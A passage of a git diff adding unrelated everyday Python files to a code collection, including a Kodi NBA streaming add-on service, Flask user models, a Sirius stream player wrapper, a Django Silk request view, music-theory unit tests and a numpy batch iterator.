+			while data:
+				key,value,data = _key_values('parameter',data)
+				# Paramaters must only be sent once.
+				if key == Parameter.AUTHENTIFICATION_INFORMATION:
+					raise Notify(2,5)
+
+				if key == Parameter.CAPABILITIES:
+					while value:
+						capability,capv,value = _key_values('capability',value)
+						capabilities[capability] = Capability.unpack(capability,capabilities,capv)
+				else:
+					raise Notify(2,0,'Unknow OPEN parameter %s' % hex(key))
+		return capabilities
diff --git a/pool/shard000/Python/0008749_service.py b/pool/shard000/Python/0008749_service.py
new file mode 100644
index 0000000000000000000000000000000000000000..70f10ee0a676737b79a4222181014ca23589370f
--- /dev/null
+++ b/pool/shard000/Python/0008749_service.py
@@ -0,0 +1,116 @@
+import xbmc,xbmcaddon
+import time, urllib, os, sys
+from urlparse import urlparse, parse_qs
+
+import vars
+
+#Add src/service in load paths
+my_addon = xbmcaddon.Addon(vars.__addon_id__)
+addon_dir = xbmc.translatePath( my_addon.getAddonInfo('path') ).decode('utf-8')
+sys.path.append(os.path.join(addon_dir, 'src', 'service'))
+
+import utils
+from nbatvlive import LiveTV
+from shareddata import SharedData
+from base_thread import BaseThread
+from player import MyPlayer
+
+
+class PollingThread(BaseThread):
+
+    def __init__(self):
+        super(PollingThread, self).__init__()
+
+        self.expires = 0
+        self.last_refresh = time.time()
+        self.player = MyPlayer()
+        self.shared_data = SharedData()
+
+    def refreshLiveUrl(self):
+        if self.shared_data.get("playing.what") == "nba_tv_live":
+            #True=force login (refresh cookie)
+            video_url = LiveTV.getLiveUrl(True)
+        elif self.shared_data.get("playing.what") == "nba_tv_episode":
+            start_timestamp = self.shared_data.get("playing.data.start_timestamp")
+            duration = self.shared_data.get("playing.data.duration")
+            video_url = LiveTV.getEpisodeUrl(start_timestamp, duration)
+
+        if video_url:
+            self.readExpiresFromUrl(video_url)
+            utils.log("Updating live url from service, new url (%s) and expire (%d)" 
+                % (video_url, self.expires))
+
+            self.player.play(video_url)
+
+    def readExpiresFromUrl(self, url):
+        url_parts = urlparse(url)
+
+        #Parse query string to dictionary
+        query_params = parse_qs(url_parts.query)
+
+        #Get the hdnea param, where the "expires" param is
+        hdnea_params = query_params.get("hdnea")[0]
+        hdnea_params = hdnea_params.replace('~', '&')
+        hdnea_params = urllib.unquote(hdnea_params)
+
+        self.expires = parse_qs(hdnea_params).get("expires", 0)[0]
+        self.expires = int(self.expires)
+
+    def run(self):
+        while True:
+            try:
+                current_playing_url = self.player.getPlayingFile()
+                self.readExpiresFromUrl(current_playing_url)
+                utils.log("Playing url: %s - playing cache: %s" % 
+                    (current_playing_url, self.shared_data.get("playing")), xbmc.LOGDEBUG)
+            except:
+                pass
+
+            if self.shared_data.get("playing.what"):
+                #Wait second iteration before checking the expiration
+                if self.shared_data.get("playing.second_iteration") != "1":
+                    xbmc.sleep(2000);
+                    self.shared_data.set("playing.second_iteration", "1")
+                    continue;
+
+                timestamp = time.time()
+
+                #Avoid refreshing too fast, let at least one minute pass from the last refresh
+                expire_timestamp = max(self.expires, self.last_refresh + 60)
+
+                utils.log("%d seconds to url refresh" % (expire_timestamp - timestamp))
+                if timestamp > expire_timestamp:
+                    self.refreshLiveUrl()
+                    self.last_refresh = timestamp
+
+            xbmc.sleep(1000)
+
+            if not self.should_keep_running():
+                utils.log("Interrupting service loop")
+                break 
+
+def main():
+    utils.log("starting service...")
+
+    #Reset currently playing video
+    shared_data = SharedData()
+    shared_data.set("playing", {})
+
+    polling_thread = PollingThread()
+    polling_thread.start()
+
+    if xbmc.__version__ >= '2.19.0':
+        monitor = xbmc.Monitor()
+        while not monitor.abortRequested():
+            if monitor.waitForAbort(100):
+                break
+    else:
+        while not xbmc.abortRequested:
+            xbmc.sleep(100)
+
+    utils.log("stopping service..")
+
+    polling_thread.stop()
+
+if __name__ == "__main__":
+    main()
diff --git a/pool/shard000/Python/0008750_models.py b/pool/shard000/Python/0008750_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..3423b08a8653f210fa49ecab5988dd7f6552aa2a
--- /dev/null
+++ b/pool/shard000/Python/0008750_models.py
@@ -0,0 +1,106 @@
+import hashlib
+from app import db
+from werkzeug.security import generate_password_hash, check_password_hash
+from sqlalchemy.orm import exc
+from werkzeug.exceptions import abort
+
+ROLE_USER = 0
+ROLE_ADMIN = 1
+
+def get_object_or_404(model, *criterion):
+    """ Snippet byVitaliy Shishorin, http://flask.pocoo.org/snippets/115/"""
+    try:
+        return model.query.filter(*criterion).one()
+    except exc.NoResultFound, exc.MultipleResultsFound:
+        abort(404)
+
+
+class User(db.Model):
+    __tablename__ = 'users'
+    id = db.Column(db.Integer, primary_key = True)
+    username = db.Column(db.String(30), unique = True, nullable = False)
+    password = db.Column(db.String(100))
+    name = db.Column(db.String(50))
+    email = db.Column(db.String(45))
+    role = db.Column(db.SmallInteger, default = ROLE_USER)
+
+    def __init__(self, username, email, password):
+        self.username = username
+        self.name = username
+        self.email = email.lower()
+        self.set_password(password)
+         
+    def set_password(self, password):
+        self.password = generate_password_hash(password)
+
+    def check_password(self, password):
+        return check_password_hash(self.password, password)
+
+    def is_authenticated(self):
+        return True
+
+    def is_active(self):
+        return True
+
+    def is_anonymous(self):
+        return False
+
+    def get_id(self):
+        return unicode(self.id)
+
+    def __repr__(self):
+        return '<User %r>' % (self.username)
+
+    def getAvatar(self, size = 160):
+        email_hash = hashlib.md5(self.email).hexdigest()
+        return "http://www.gravatar.com/avatar/%s?d=mm&s=%d" % (email_hash, size)
+
+    def is_admin(self):
+        return self.role == ROLE_ADMIN
+
+    def is_normal_user(self):
+        return self.role == ROLE_USER
+
+
+class Fact(db.Model):
+    __tablename__ = 'facts'
+    id = db.Column(db.Integer, primary_key = True)
+    front = db.Column(db.String(255), unique = True, nullable = False)
+    back = db.Column(db.Text)
+
+    def __repr__(self):
+        return '<Fact %r>' % (self.front)
+
+
+class Category(db.Model):
+    __tablename__ = 'categories'
+    id = db.Column(db.Integer, primary_key = True)
+    name = db.Column(db.String(100))
+    description = db.Column(db.Text)
+
+    def __repr__(self):
+        return '<Category %r>' % (self.name)
+
+
+class Deck(db.Model):
+    __tablename__ = 'decks'
+    id = db.Column(db.Integer, primary_key = True)
+    name = db.Column(db.String(100))
+    data = db.Column(db.Text)
+
+    def __repr__(self):
+        return '<Deck %r>' % (self.data)
+
+
+class Sentence(db.Model):
+    __tablename__ = 'sentences'
+    id = db.Column(db.Integer, primary_key = True)
+    content = db.Column(db.Text)
+    meaning_en = db.Column(db.Text)
+
+    def __repr__(self):
+        return '<Sentence %r>' % (self.content)
+
+    def __init__(self, content, meaning_en):
+        self.content = content
+        self.meaning_en = meaning_en
diff --git a/pool/shard000/Python/0008751_StreamHandler.py b/pool/shard000/Python/0008751_StreamHandler.py
new file mode 100644
index 0000000000000000000000000000000000000000..1112b24f60335d93f6c7783d088efa98df5bb7fa
--- /dev/null
+++ b/pool/shard000/Python/0008751_StreamHandler.py
@@ -0,0 +1,113 @@
+#Pyxis and Original Sipie: Sirius Command Line Player
+#Originally From http://mak.zopelabs.com/xplay/
+#Copyright (C) Corey Ling, Eli Criffield, M. Adam Kendall
+#
+#This program is free software; you can redistribute it and/or
+#modify it under the terms of the GNU General Public License
+#as published by the Free Software Foundation; either version 2
+#of the License, or (at your option) any later version.
+#
+#This program is distributed in the hope that it will be useful,
+#but WITHOUT ANY WARRANTY; without even the implied warranty of
+#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#GNU General Public License for more details.
+#
+#You should have received a copy of the GNU General Public License
+#along with this program; if not, write to the Free Software
+#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+
+import sys, os, subprocess
+import fcntl
+import datetime
+from Config import Config
+from Debug import log, logfile
+
+class StreamHandler(object):
+    """Handles playing a stream via an external process."""
+    def __init__(self, opts):
+
+        config = Config()
+        self.settings = config.mediaplayer
+        self.location = None
+        self.proc = None
+        self.options = opts
+
+        if self.options.record:
+            if not os.path.isdir(config.recordings.directory):
+                os.makedirs(config.recordings.directory)
+            self.settings.options = self.settings.options + ' ' + self.settings.record
+            self.settings.options = self.settings.options + config.recordings.directory
+
+        self.command = "%s %s" % (self.settings.command, self.settings.options)
+
+        if os.path.isfile(self.settings.command) == False:
+            print "Cannot find media player: " + self.settings.command
+            print "Please check your Pyxis media player settings in " + config.conffile
+            sys.exit(200)
+
+    def pipeopen(self, cmd, bufsize=0):
+        """Wrapper function to subprocess.Popen
+
+        cmd: command to be exectuted
+
+        returns: tuple containing pipes stdin and stdout"""
+        self.proc = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
+                        stdin=subprocess.PIPE, stdout=subprocess.PIPE,
+                        stderr=subprocess.STDOUT, close_fds=True)
+        fcntl.fcntl(self.proc.stdout, fcntl.F_SETFL, os.O_NONBLOCK)
+        return (self.proc.stdin, self.proc.stdout)
+
+    def playing(self):
+        if self.proc:
+            self.proc.poll()
+            return self.proc.returncode is None
+        return False
+
+    def play(self, url, stream):
+        """Plays the given url
+
+        url: url to play using external command"""
+
+        if self.playing():
+            print "Already playing!"
+            return
+
+        log("Starting mplayer...")
+        if self.options.record:
+            if self.options.output:
+                filename = self.options.output
+            else:
+                stream = stream.replace(' ','') + '_'
+                now = datetime.datetime.now()
+                filename = stream + now.strftime("%Y-%m-%d_%H-%M-%S") + '.wav'
+            
+            mpc = "%s '%s'" % (self.command + filename, url)
+        else:
+            mpc = "%s '%s'" % (self.command, url)
+        log('mpc = %s' % mpc)
+        self.pipeopen(mpc)
+
+    def cmd(self, command):
+        """Issue a command to the external programs stdin
+        
+        command: command to be sent to the external program"""
+        if not self.proc:
+            return
+        try:
+            self.proc.stdin.write(command + "\n")
+            self.proc.stdin.flush()
+        except StandardError:
+           return
+
+    def close(self):
+        """Cleanly closes any IPC resources to process"""
+
+        self.cmd("quit")
+
+        try:
+            self.proc.terminate()
+        except StandardError:
+            pass
+
+        self.proc = None
+
diff --git a/pool/shard000/Python/0008755_request_detail.py b/pool/shard000/Python/0008755_request_detail.py
new file mode 100644
index 0000000000000000000000000000000000000000..caff72158a73668cb1ed8a0e6d5eea7a4c43b333
--- /dev/null
+++ b/pool/shard000/Python/0008755_request_detail.py
@@ -0,0 +1,42 @@
+import json
+
+from django.shortcuts import render
+from django.utils.decorators import method_decorator
+from django.views.generic import View
+from silk.auth import login_possibly_required, permissions_possibly_required
+
+from silk.code_generation.curl import curl_cmd
+from silk.models import Request
+from silk.code_generation.django_test_client import gen
+
+
+class RequestView(View):
+
+    @method_decorator(login_possibly_required)
+    @method_decorator(permissions_possibly_required)
+    def get(self, request, request_id):
+        silk_request = Request.objects.get(pk=request_id)
+        query_params = None
+        if silk_request.query_params:
+            query_params = json.loads(silk_request.query_params)
+        body = silk_request.raw_body
+        try:
+            body = json.loads(body)  # Incase encoded as JSON
+        except (ValueError, TypeError):
+            pass
+        context = {
+            'silk_request': silk_request,
+            'curl': curl_cmd(url=request.build_absolute_uri(silk_request.path),
+                             method=silk_request.method,
+                             query_params=query_params,
+                             body=body,
+                             content_type=silk_request.content_type),
+            'query_params': json.dumps(query_params, sort_keys=True, indent=4) if query_params else None,
+            'client': gen(path=silk_request.path,
+                          method=silk_request.method,
+                          query_params=query_params,
+                          data=body,
+                          content_type=silk_request.content_type),
+            'request': request
+        }
+        return render(request, 'silk/request.html', context)
diff --git a/pool/shard000/Python/0008766_CsoundAcUnitTests.py b/pool/shard000/Python/0008766_CsoundAcUnitTests.py
new file mode 100644
index 0000000000000000000000000000000000000000..a251a00435dfca4b8f4728682fdc42385eb7b2b5
--- /dev/null
+++ b/pool/shard000/Python/0008766_CsoundAcUnitTests.py
@@ -0,0 +1,208 @@
+import CsoundAC
+import math
+import random
+import string
+import sys
+sys.path.append('d:/utah/home/mkg/projects/icmc2006-mkg')
+import tonnetz
+
+print 'UNIT TESTS FOR CsoundAC.Voicelead and CsoundAC.Score'
+print
+
+lowest = 48
+range = 36
+highest = lowest + range
+
+for i in xrange(36, 96, 1):
+    p = float(i)
+    print '%8.3f = Voicelead_pc(%8.3f)' % (CsoundAC.Voicelead_pc(p), p)
+print
+a = [0, 4, 7, 11]
+b = [1, 5, 8,  0]
+print '%s = Voicelead_voiceleading(%s, %s)' % (CsoundAC.Voicelead_voiceleading(a, b), a, b)
+print
+c = [5, 5, 5, 5]
+print '%s = Voicelead_areParallel(%s, %s)' % (CsoundAC.Voicelead_areParallel(a, b), a, b)
+print '%s = Voicelead_areParallel(%s, %s)' % (CsoundAC.Voicelead_areParallel(a, c), a, c)
+print
+print '%s = Voicelead_rotate(%s)' % (CsoundAC.Voicelead_rotate(a), a)
+print
+rotations = CsoundAC.Voicelead_rotations(a)
+print '%s = CsoundAC.Voicelead_rotations(%s)' % (a, rotations)
+for chord in rotations:
+    print chord
+print
+pitches = [65., 69., 72., 76.]
+print '%s = Voicelead_pcs(%s)' % (CsoundAC.Voicelead_pcs(pitches), pitches)
+print '%8.3f = Voiclead_mFromPitchClassSet(%s)' % (CsoundAC.Voicelead_pitchClassSetToM(pitches), pitches)
+print '%8.3f = Voiclead_mFromPitchClassSet(%s)' % (CsoundAC.Voicelead_pitchClassSetToM(a), a)
+print
+print '%s = Voicelead_pitchClassSetFromM(%8.3f)' % (CsoundAC.Voicelead_mToPitchClassSet(2193), 2193)
+print
+voicings = CsoundAC.Voicelead_voicings(a, lowest, range, 12)
+print 'Voicelead_voicings(%s, %s, %s, %d):' % (a, lowest, range, 12)
+for chord in voicings:
+    print chord
+print
+CM7 = [60., 64., 67., 71.]
+print 'CM7: %s' % (CM7)
+FM7 = [65., 69., 72., 76.]
+print 'FM7: %s' % (FM7)
+G7 =  [67., 71., 74., 77.]
+print 'G7:  %s' % (G7)
+t1 = CsoundAC.Voicelead_voicelead(CM7, FM7, lowest, range, False)
+print '%s = CsoundAC.Voicelead_voicelead(%s, %s, lowest, range, True)' % (t1, CM7, FM7)
+t2 = CsoundAC.Voicelead_voicelead(t1, G7, lowest, range, False)
+print '%s = CsoundAC.Voicelead_voicelead(%s, %s, lowest, range, True)' % (t2, t1, G7)
+print
+t1 = CsoundAC.Voicelead_recursiveVoicelead(CM7, FM7, lowest, range, False)
+print '%s = CsoundAC.Voicelead_recursiveVoicelead(%s, %s, lowest, range, True)' % (t1, CM7, FM7)
+t2 = CsoundAC.Voicelead_recursiveVoicelead(t1, G7, lowest, range, False)
+print '%s = CsoundAC.Voicelead_recursiveVoicelead(%s, %s, lowest, range, True)' % (t2, t1, G7)
+print
+print 'Inversions of', a
+vinversions = CsoundAC.Voicelead_inversions(a)
+tonnetz = tonnetz.Tonnetz(4)
+tinversions = tonnetz.rotations(a)
+for i in xrange(len(vinversions)):
+	vinversion = vinversions[i]
+	tinversion = tinversions[i]
+	print 'inversion of %s:           V: %s  T: %s' % (a, vinversion, tinversion)
+	print '  origin chord of inversion:          V: %s  T: %s' % (CsoundAC.Voicelead_toOrigin(vinversion), tonnetz.zeroForm(tinversion))
+	print '  normal chord of inversion:          V: %s  T: %s' % (CsoundAC.Voicelead_normalChord(vinversion), tonnetz.firstInversion(tinversion))
+	print '  zero chord of inversion:            V: %s  T: %s' % (CsoundAC.Voicelead_primeChord(vinversion), tonnetz.zeroForm(tonnetz.firstInversion(tinversion)))
+	print ' '
+print
+for i in xrange(lowest, range, 1):
+	print '%8.3f = Voiclead_closestPitch(Voicelead_pc(%d), %s)' %(CsoundAC.Voicelead_closestPitch(i, CM7), i, CM7)
+print
+for i in xrange(lowest, range, 1):
+	print '%8.3f = Voiclead_conformToPitchClassSet(%d, %s)' %(CsoundAC.Voicelead_conformToPitchClassSet(i, a), i, a)
+print
+score = CsoundAC.Score()
+for i in xrange(2000):
+	time = i * 0.125
+	duration = 0.5
+	key = random.randint(lowest, highest)
+	velocity = 80.0
+	score.append(time, duration, 144.0, 1.0, key, velocity)
+score.save('CsoundACUnitTest.py.1.mid')
+score.setPitchClassSet(0, len(score), a)
+score.save('CsoundACUnitTest.py.2.mid')
+score = CsoundAC.Score()
+for i in xrange(2000):
+	time = i * 0.125
+	duration = 0.5
+	key = random.randint(lowest, highest)
+	velocity = 80.0
+	score.append(time, duration, 144.0, 1.0, key, velocity)
+C = CsoundAC.Voicelead_mToC(CsoundAC.Voicelead_pitchClassSetToM([0.,4.,7.,11.,14.]), 12)
+for i in xrange(0, len(score), 20):
+	M = CsoundAC.Voicelead_cToM(C)
+	pcs = CsoundAC.Voicelead_mToPitchClassSet(M)
+	print 'M: %8.3f  C: %8.3f  %s' % (M, C, pcs)
+	score.setPitchClassSet(i, i + 20, pcs)
+	result = CsoundAC.Voicelead_uniquePcs(score.getPitches(i, i + 20))
+	print 'Result:',result
+	print ' '
+	C = 2 * C + 1
+	C = C % 4094
+score.save('CsoundACUnitTest.py.3.mid')
+for i in xrange(0, len(score) - 40, 20):
+	prepitches = score.getPitches(i, i + 20)
+	score.voicelead(i, i + 20, i + 20, i + 40, lowest, highest - lowest, True)
+	postpitches = score.getPitches(i + 20, i + 40)
+	print i, prepitches, postpitches
+	print i, CsoundAC.Voicelead_uniquePcs(prepitches), CsoundAC.Voicelead_uniquePcs(postpitches)
+	print ' '
+score.save('CsoundACUnitTest.py.4.mid')
+
+for n in string.split('C C# D D# E F G G# A A# B'):
+    name = n + "M7"
+    chord = CsoundAC.Conversions_nameToPitches(n + "M7")
+    prime = CsoundAC.Voicelead_primeChord(chord)
+    print name, chord, prime
+    p = 0.0
+    t = 0.0
+    result = CsoundAC.Voicelead_primeAndTranspositionFromPitchClassSet(chord, int(12))
+    print result
+    
+
+	
+
+
+
+
+	
+	
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/pool/shard000/Python/0008774_unsupervised_dataset.py b/pool/shard000/Python/0008774_unsupervised_dataset.py
new file mode 100644
index 0000000000000000000000000000000000000000..eeba8a7af4d06824483de15d6c07b0aa97314118
--- /dev/null
+++ b/pool/shard000/Python/0008774_unsupervised_dataset.py
@@ -0,0 +1,248 @@
+import numpy as np
+
+
+#
+# TODO(pkhorrami4) Consider datatype of input (convert to float32, etc.)
+# TODO(pkhorrami4) Decide datatype for conversion from theano.config.floatX
+# TODO(pkhorrami4) Add centering + rescaling of data as option
+# TODO(pkhorrami4) Add verbosity flag option
+#
+
+
+class UnsupervisedDataset(object):
+    # Class to construct an unsupervised dataset
+
+    def __init__(self, X):  # , batch_size=None, iter_type=None):
+        # print('Dataset loaded with size: {}'.format(X.shape))
+        self.X = X
+        self.n_samples = X.shape[0]
+        self.n_channels = X.shape[1]
+        self.height = X.shape[2]
+        self.width = X.shape[3]
+
+    def __iter__(self):
+        return self.iter  # self.iterator()
+
+    def iterator(self,
+                 mode='sequential',
+                 batch_size=None,
+                 num_batches=None,
+                 rng_seed=0):
+
+        if(batch_size is not None):
+            if(batch_size > self.n_samples):
+                raise ValueError("batch_size is larger than number of samples")
+
+        if(mode == 'sequential'):
+            if batch_size is None:
+                if num_batches is not None:
+                    batch_size = int(self.n_samples / num_batches)
+                else:
+                    raise ValueError("need one of batch_size, num_batches"
+                                     "for sequential batch iteration")
+
+            elif batch_size is not None:
+                if num_batches is not None:
+                    max_num_batches = int(np.ceil(self.n_samples / batch_size))
+                    if num_batches > max_num_batches:
+                        raise ValueError("dataset of %d examples can only "
+                                         "provide %d batches with batch_size "
+                                         "%d, but %d batches were requested" %
+                                         (self.n_samples, max_num_batches,
+                                          batch_size, num_batches))
+                else:
+                    num_batches = int(self.n_samples / batch_size)
+
+            self.iter = DatasetIteratorSequential(self.X, batch_size,
+                                                  num_batches, self.n_samples)
+
+        elif(mode == 'random_uniform'):
+            if batch_size is None:
+                raise ValueError("batch_size cannot be None for random "
+                                 "uniform iteration")
+            elif num_batches is None:
+                raise ValueError("num_batches cannot be None for random "
+                                 "uniform iteration")
+            self.iter = DatasetIteratorRandomUniform(self.X,
+                                                     batch_size,
+                                                     num_batches,
+                                                     self.n_samples,
+                                                     rng_seed)
+
+        elif(mode == 'random_uniform_no_rep'):
+            if batch_size is None:
+                if num_batches is not None:
+                    # Floor Function chosen to ensure that uneven segment
+                    # (i.e. "runt") is ignored
+                    batch_size = int(np.floor(np.float32(self.n_samples) /
+                                     num_batches))
+                else:
+                    raise ValueError("need one of batch_size, num_batches"
+                                     "for sequential batch iteration")
+
+            elif batch_size is not None:
+                if num_batches is not None:
+                    max_num_batches = int(np.ceil(self.n_samples / batch_size))
+                    if num_batches > max_num_batches:
+                        raise ValueError("dataset of %d examples can only "
+                                         "provide %d batches with batch_size "
+                                         " %d, but %d batches were requested" %
+                                         (self.n_samples, max_num_batches,
+                                          batch_size, num_batches))
+                else:
+                    # Floor Function chosen to ensure that uneven segment
+                    # (i.e. "runt") is ignored
+                    num_batches = int(np.floor(np.float32(self.n_samples) /
+                                      batch_size))
+
+            self.iter = DatasetIteratorRandomUniformNoRep(self.X,
+                                                          batch_size,
+                                                          num_batches,
+                                                          self.n_samples,
+                                                          rng_seed)
+
+        return self.iter
+
+    def get_num_samples(self):
+        return self.n_samples
+
+    def get_batch(self):
+        return self.iter.next()
+
+
+class BasicIterator(object):
+
+    def __init__(self, X, batch_size=None, num_batches=None, num_samples=None):
+
+        self.X = X
+        self.batch_size = batch_size
+        self.num_batches = num_batches
+        self.num_samples = num_samples
+        # print('Batch Size: {}'.format(batch_size))
+        # print('Num Batches: {}'.format(num_batches))
+        # print('Num Samples: {}'.format(num_samples))
+
+        # Batch Counter
+        self.batch_count = 0
+        # Sample Counter
+        self.sample_count = 0
+        # Batch Indices
+        self.last = 0
+
+    def reset(self):
+        self.batch_count = 0
+        self.sample_count = 0
+        self.last = 0
+
+
+class DatasetIteratorSequential(BasicIterator):
+
+    #
+    # Iterator that traverses the data by extracting sequential slices
+    # of size (batch_size) from the data tensor
+    #
+    def __init__(self, X, batch_size=None, num_batches=None, num_samples=None):
+        # print('Using Sequential Iterator')
+        super(DatasetIteratorSequential, self).__init__(X,
+                                                        batch_size,
+                                                        num_batches,
+                                                        num_samples)
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        # print('In Dataset_Iter_Seq_Next')
+        if (self.batch_count >= self.num_batches or
+           self.sample_count >= self.num_samples):
+            raise StopIteration()
+        # fixes the problem where (self._num_samples % self._batch_size) != 0
+        elif (self.sample_count + self.batch_size) > self.num_samples:
+            self.last = slice(self.sample_count, self.num_samples)
+            self.sample_count = self.num_samples
+            return self.X[self.last, :, :, :]
+        else:
+            self.last = slice(self.sample_count,
+                              self.sample_count + self.batch_size)
+            self.sample_count += self.batch_size
+            self.batch_count += 1
+            return self.X[self.last, :, :, :]
+
+
+class DatasetIteratorRandomUniform(BasicIterator):
+
+    #
+    # Iterator that uniformly samples batches of size (batch_size)
+    # from the data tensor (with replacement)
+    #
+
+    def __init__(self, X,
+                 batch_size=None,
+                 num_batches=None,
+                 num_samples=None,
+                 rng_seed=0):
+        # print('Using Random Uniform Iterator (with replacement)')
+        np.random.seed(rng_seed)
+        super(DatasetIteratorRandomUniform, self).__init__(X, batch_size,
+                                                           num_batches,
+                                                           num_samples)
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        if self.batch_count >= self.num_batches:
+            raise StopIteration()
+        else:
+            self.last = np.random.random_integers(low=0,
+                                                  high=self.num_samples - 1,
+                                                  size=(self.batch_size,))
+            self.batch_count += 1
+            return self.X[self.last, :, :, :]
+
+
+class DatasetIteratorRandomUniformNoRep(BasicIterator):
+
+    #
+    # Iterator that uniformly samples batches of size (batch_size)
+    # from the data tensor (without replacement)
+    #
+    def __init__(self, X,
+                 batch_size=None,
+                 num_batches=None,
+                 num_samples=None,
+                 rng_seed=0):
+        # print('Using Random Uniform Iterator (w/o replacement)')
+        np.random.seed(rng_seed)
+        self.remain_samples = np.arange(num_samples)
+        super(DatasetIteratorRandomUniformNoRep, self).__init__(X,
+                                                                batch_size,
+                                                                num_batches,
+                                                                num_samples)
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        if self.batch_count >= self.num_batches:
+            raise StopIteration()
+
+        else:
+            idx = np.random.permutation(
+                np.arange(len(self.remain_samples)))[0:self.batch_size]
+            self.last = self.remain_samples[idx]
+            self.remain_samples = np.setdiff1d(self.remain_samples, self.last)
+            self.batch_count += 1
+            return self.X[self.last, :, :, :]
+
+
+if __name__ == "__main__":
+    # print('Making Datset Object')
+    X = np.zeros((1024, 3, 5, 5))
+    d = UnsupervisedDataset(X)
+    d.iterator(batch_size=128)
+    # d.iterator(mode='random_uniform', batch_size=128, num_batches = 1000,
+    #           rng_seed=10)
+    # d.iterator(mode='RAND_UNIF_nr', batch_size=128)
+    for i, b in enumerate(d):
+        print('Batch {} --- {}'.format(i+1, b.shape))
diff --git a/pool/shard000/Python/0008776_pyunit_ascharacter.py b/pool/shard000/Python/0008776_pyunit_ascharacter.py
new file mode 100644
index 0000000000000000000000000000000000000000..ad5b083984ef64d8a33d3084a71cf81434ae1198
--- /dev/null
+++ b/pool/shard000/Python/0008776_pyunit_ascharacter.py
@@ -0,0 +1,14 @@
+import sys
+sys.path.insert(1, "../../../")
+import h2o
+
+def ascharacter(ip,port):
+    h2oframe =  h2o.import_file(path=h2o.locate("smalldata/junit/cars.csv"))
+    h2oframe.show()
+    h2oframe['cylinders'] = h2oframe['cylinders'].asfactor()
+    h2oframe['cylinders'].ascharacter()
+    assert h2oframe["cylinders"].isfactor(), "expected the column be a factor"
+    assert not h2oframe["cylinders"].isstring(), "expected the column to not be a string"
+
+if __name__ == "__main__":
+    h2o.run_test(sys.argv, ascharacter)
diff --git a/pool/shard000/Python/0008780_canPartition.py b/pool/shard000/Python/0008780_canPartition.py
new file mode 100644
index 0000000000000000000000000000000000000000..141d817d18c6292b767b6d677fb33fbb8c332c50
--- /dev/null
+++ b/pool/shard000/Python/0008780_canPartition.py
@@ -0,0 +1,75 @@
+'''
+Given a non-empty array containing only positive integers, find if the array can be partitioned into two subsets such that the
+sum of elements in both subsets is equal.
+
+Note:
+
+Each of the array element will not exceed 100.
+The array size will not exceed 200.
+Example 1:
+
+Input: [1, 5, 11, 5]
+
+Output: true
+
+Explanation: The array can be partitioned as [1, 5, 5] and [11].
+Example 2:
+
+Input: [1, 2, 3, 5]
+
+Output: false
+
+Explanation: The array cannot be partitioned into equal sum subsets.
+
+Commentary: this is knapsack 0/1 problem in disguise.
+'''
+
+def helper(array,target):
+	# Initialize a memo. Here, memo[sum] is True if it's possible to
+	# achieve a sum of 'sum' with a subarray of the input array.
+	# We eventually want to find whether it's possible to achieve a sum of
+	# target
+	memo = {}
+	# If we choose no elements of the array, we will have achieved a sum
+	# of zero, so memo[0] is True. This is the base case.
+	memo[0] = True
+
+	for element in array:
+		temp_memo = {}
+		# for all the sums j which are possible to make will all elements
+		# before the current element,
+		for j in memo:
+			new_sum = j + element
+			if new_sum == target:
+				return True
+			elif new_sum > target:
+				continue
+			else:
+				# it is possible to make the new_sum
+				temp_memo[j + element] = True
+		# add all these new possible sums from the temp memo into the memo
+		for i in temp_memo:
+			memo[i] = temp_memo[i]
+
+	return False
+
+
+def canPartition(array):
+	# If it's possible to partition into two subarrays of equal sum, then the
+	# total sum must be even. By contrapositive, if the total sum is odd,
+	# then it must be impossible to partition into two subarrays of equal sum.
+	if sum(array) % 2 == 1:
+		return False
+
+	return helper(array,sum(array)//2)
+
+
+arr1 = []
+arr2 = [1,5,11,5]
+arr3 = [1,2,3,4]
+arr4 = [1,2,3,5]
+arr5 = [1,1,1]
+arr6 = [3,3,3,4,5]
+arr7 = [1,2,5]
+
+print(canPartition(arr6))
diff --git a/pool/shard000/Python/0008781_msd.py b/pool/shard000/Python/0008781_msd.py
new file mode 100644
index 0000000000000000000000000000000000000000..899a567697af7d05a1b28b29834ae0675f6f3230
--- /dev/null
+++ b/pool/shard000/Python/0008781_msd.py
@@ -0,0 +1,126 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Abinit Post Process Application
+author: Martin Alexandre
+last edited: May 2013
+"""
+
+import sys,os,time,commands
+import string, math
+
+#GUI 
+import gui.graph as Graph
+import gui.conv  as Conv
+
+#Utility
+import utility.write as Write
+import utility.analysis as Analysis
+
+try:
+    from PyQt4 import Qt,QtGui,QtCore
+except:
+    pass;
+
+from numpy import *
+
+#----------------------------------------------------------------#
+#---------------WINDOWS-MEAN SQUARED DEPLACEMENT-----------------#
+#----------------------------------------------------------------#
+class winMSD(QtGui.QWidget):
+
+    PTOE = Analysis.PeriodicTableElement()
+
+    def __init__(self, file, parent = None,name =''):
+
+        self.file = file
+        self.name = name
+        self.initUI(parent)
+        self.displayGraph()
+        self.raise_()
+
+    def initUI(self, parent):
+
+        #-----------------Creation of the windows----------------------------#
+        QtGui.QWidget.__init__(self, parent)
+        self.setAttribute(QtCore.Qt.WA_DeleteOnClose)
+        self.setWindowTitle(self.name + ' MSD option')
+        self.setFixedSize(200, 150)
+        self.center()
+        self.layout = QtGui.QGridLayout()
+        self.setLayout(self.layout)
+
+        self.lbl1 = QtGui.QLabel(" Atom type 1 :", self)
+        self.lbl1.setFixedWidth(95)
+
+        self.CBox1 = QtGui.QComboBox()
+        self.CBox1.setFixedWidth(70)
+        
+        for i in range(len(self.file.getZnucl())):
+            self.CBox1.addItem(str(self.PTOE.getName(self.file.getZnucl()[i])))
+        self.connect(self.CBox1,QtCore.SIGNAL('currentIndexChanged(const QString&)'),self.displayGraph)        
+
+
+        self.pbClose = QtGui.QPushButton("close")
+        self.pbClose.setFixedSize(70,20)
+        self.connect(self.pbClose,QtCore.SIGNAL("clicked()"),QtCore.SLOT('close()'))
+
